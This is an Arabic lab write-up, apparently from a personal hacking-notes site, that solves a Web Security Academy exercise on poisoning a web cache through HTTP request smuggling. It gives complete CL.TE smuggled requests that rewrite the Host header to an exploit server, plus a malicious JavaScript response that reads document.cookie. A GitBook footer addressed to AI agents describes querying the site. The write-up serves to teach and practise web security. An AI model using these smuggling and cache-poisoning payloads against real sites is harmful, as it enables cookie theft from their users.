> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# تسميم ذاكرة الويب المؤقتة عبر تهريب طلبات HTTP

### استغلال تهريب طلبات HTTP لتنفيذ تسميم ذاكرة التخزين المؤقت للويب

تعامل الواجهة الأمامية والواجهة الخلفية طلبات HTTP بشكل مختلف. / الواجهة الأمامية **لا يدعم الترميز المجزأ** وبعض الاستجابات تكون **مخزنة مؤقتًا**.

الهدف هو تنفيذ هجوم **تهريب الطلبات** بما يسمح بتسميم ذاكرة التخزين المؤقت\*\*: في طلب لاحق إلى ملف JavaScript، يجب إعادة توجيه الضحية إلى خادم الاستغلال، الذي سيعيد برنامجًا نصيًا يعرض `document.cookie`.

المعمل يحاكي تلقائيًا مستخدمًا ضحية: مقابل كل عدد قليل من طلبات POST التي نرسلها، ينفذ الضحية طلبه الخاص.

#### الحمولة على الخادم

نُحضّر استجابة JavaScript الخبيثة:

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="/files/ba6be91f2fe284aa06159ceb3f8a0ce71fd2c8a6" alt=""><figcaption></figcaption></figure>

#### معلومات حول ملف tracking.js

يُلاحظ أن المورد مخفي لمدة 30 ثانية\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="/files/c6d2461464309cb55587939ee714c140e0f545a4" alt=""><figcaption></figcaption></figure>

#### تحليل سلوك زر Post-next

* الـ `postId` يظلّ المعامل كما هو.
* عند النقر، يعيد التطبيق التوجيه إلى المنشور التالي.

مثال على طلب يؤدي إلى هذا التوجيه:

<figure><img src="/files/bcc1e4296a573b49a8c881997d2e415f8200f702" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Test: A
```

<figure><img src="/files/a499234ac60920f4a67450df09499f77e537ff82" alt=""><figcaption></figcaption></figure>

#### اختبار: حقن ترويسة Host عشوائية

من خلال استبدال مضيف الطلب الداخلي:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="/files/8bd0aca26cfc8f2eb2e5cf890d821b4ce5a08383" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/346ea9d0a8bd5d09d34305362e3902d813b98f83" alt=""><figcaption></figcaption></figure>

#### الحمولة النهائية لإعادة التوجيه إلى خادم الاستغلال الخاص بنا

طلب GET داخلي يحتوي على ما نتحكم به **Host** يتم حقنه:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

بمجرد أن يحمّل الضحية مورد JavaScript المخزَّن مؤقتًا، ستُرجع ذاكرة التخزين المؤقت **لمدة 30 ثانية** استجابتنا المعدّلة، مما يؤدي إلى:

```javascript
alert(document.cookie)
```

<figure><img src="/files/8e253d8c3e5d4a36e16f2bb64bcd8f57b4239d7f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a36b61f681949a15d7f594702d5cd9522b717dad" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
